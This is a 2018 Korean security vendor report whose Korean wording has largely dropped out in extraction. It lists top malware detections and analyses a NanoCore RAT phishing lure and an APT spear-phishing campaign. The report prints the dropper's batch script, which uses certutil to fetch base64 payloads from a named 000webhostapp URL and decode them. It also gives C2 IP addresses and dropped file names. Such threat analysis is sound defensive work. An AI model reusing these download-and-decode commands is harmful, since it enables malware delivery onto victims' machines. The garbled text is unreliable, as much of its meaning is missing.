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  TOP15 

2018 7    Top 15   2018 6  1   Trojan.Agent.gen 

 Top 15  1  .  5  2  Misc.HackTool.AutoKMS   2  

. 

 

         , 1  Trojan.Agent.gen 

   5     ,         

         5    .  

      . 

 

     ( ) 

1 -  Trojan.Agent.gen Trojan 5,344,252  

2 -  Misc.HackTool.AutoKMS Trojan 680,855  

3 ń1 Trojan.HTML.Ramnit.A Trojan 560,316  

4 Ņ1 Trojan.LNK.Gen Trojan 383,994  

5 New Gen:Variant.Kazy.96966  Trojan 375,740  

6 ń1 Win32.Neshta.A Virus 345,584  

7 Ņ1 Adware.SearchSuite Adware 342,745  

8 Ņ3 Misc.Riskware.BitCoinMiner  Trojan 338,273  

9 Ņ1 Misc.Keygen Trojan 333,854  

10 ń2 Win32.Ramnit  Worm 244,977  

11 Ņ1 Trojan.ShadowBrokers.A Trojan 215,596  

12 Ņ3 Worm.ACAD.Bursted.doc.B Worm 204,656  

13 New Worm.Brontok-F Worm 177,333  

14 Ņ1 Win32.Ramnit.Dam Worm 171,835  

15 Ņ4 Exploit.CVE-2010-2568.Gen Exploit 134,094  
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[  1]      

 

    'BL-PL- INV-8289278827882637267277272.ace'    'BL-PL- INV-

8289278827882637267277272.scr'  .          

,   .  
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[  2]  'BL-PL- INV-8289278827882637267277272.ace'   

 

         '%TEMP%\subfolder \ filename.scr'   

.  ,      'NanoCore      

'  .  

 

   , '%TEMP%'  'subfolder'  ,   'filename.scr'  'filename.vbs' 

 . 'filename.scr'     , 'filename.vbs'     'Registry Key 

Name'   (filename.vbs)     'filename.scr'      

. 

  'filename.vbs'   . 'filename.vbs'   ,     

. 

 

 

[  3] 'filename.vbs'   
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'filename.vbs'   . 

 

 

[  4] 'filename.vbs'  

 

    (filename.scr)  NanoCore  ,   

 C&C(160.202.163.200)     (  )  . C&C       

. 

 

 

[  5] C&C   

 

 

[  6]   
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  '%APPDATA%\ [MachineGUID ]\ Logs\ [   ]\ KB_[  6~7 ].log' 

 . 

 

 

[  7]     

 

  .       ,  PC  DNS    

  .  C&C    ,        

PC        .  
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[  11]       

 

  NanoCore        ,       

      .          

       .         

        . 

 

    'Trojan.Agent.884736M,  Spyware.Pony, Trojan.Agent.D0600'   . 
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APT   
 

Ľ    APT   

 

2018  08  10         (Spear Phishing) 

   . 

 

ESRC           .     

       ,    . 

 

,      , (Excel)     2    

. 

 

 

[  1]    
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Ľ      

 

        .    MS Excel  

,      ' .xlsx ( ).exe'  . 

 

         (      

)    (.EXE)   , (.XLSX)    . 

 

    ,     ,     

(Windows)         . 

 

 

[  2]      

 

    (KST)  "2018-08-09 02:44"  , VMProtect 

   . 

 

    ,      , '1.txt'     
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  . 

 

-  071790.000webhostapp.com/vic/1.txt  

 

'1.txt'   32  64    , '1.bat'   . 

 

       'setup.txt', 'setup2.txt'  , 'certutil'   CAB 

  . 

 

          ,     

  . 

 

 

[  3]         

 

        (C2)   ,  

      'setup.txt', 'setup2.txt'   . 
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:if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS) 

 

:32BITOS 

certutil - urlcache -split - f "https://071790.000webhostapp.com/vic/setup.txt" > nul  

certutil - decode - f setup.txt setup.cab > nul  

del /f /q setup.txt > nul  

GOTO ISEXIST 

 

:64BITOS 

:certutil -urlcache -split - f "https://071790.000webhostapp.com/vic/setup2.txt" > nul  

:certutil -d êcode - f setup2.txt setup.cab > nul  

:del /f /q setup2.txt > nul  

:GOTO ISEXIST 

 

'certutil.exe'            

       . 

 

- urlcache : URL      

- f :   

- split :   

- decode : BASE64   

 

           . 

 

,          ,       

. 

 

,    HWP      . 
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[  4]        

 

   ,    'setup.txt'   'setup.cab'   

. 

 

'setup.txt'     (CERTIFICATE)   Base64     

. 
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[  5]       

 

 CAB  'install.bat', 'spoolsve.exe', 'winniet.ini' 3    , 'install.bat'   

  . 

 

       ,  Run     

 . 

 

 



 

02    

 

20 
sddfsf 

Copyright  2018 ESTsecurity  Corp. All rights reserved. 

 

 

[  6]  CAB     

 

'spoolsve.exe'    (111.90.138.41)     ,   

  'winniet.ini'    . 

 

 

[  7] 'winnet.ini'    C2    


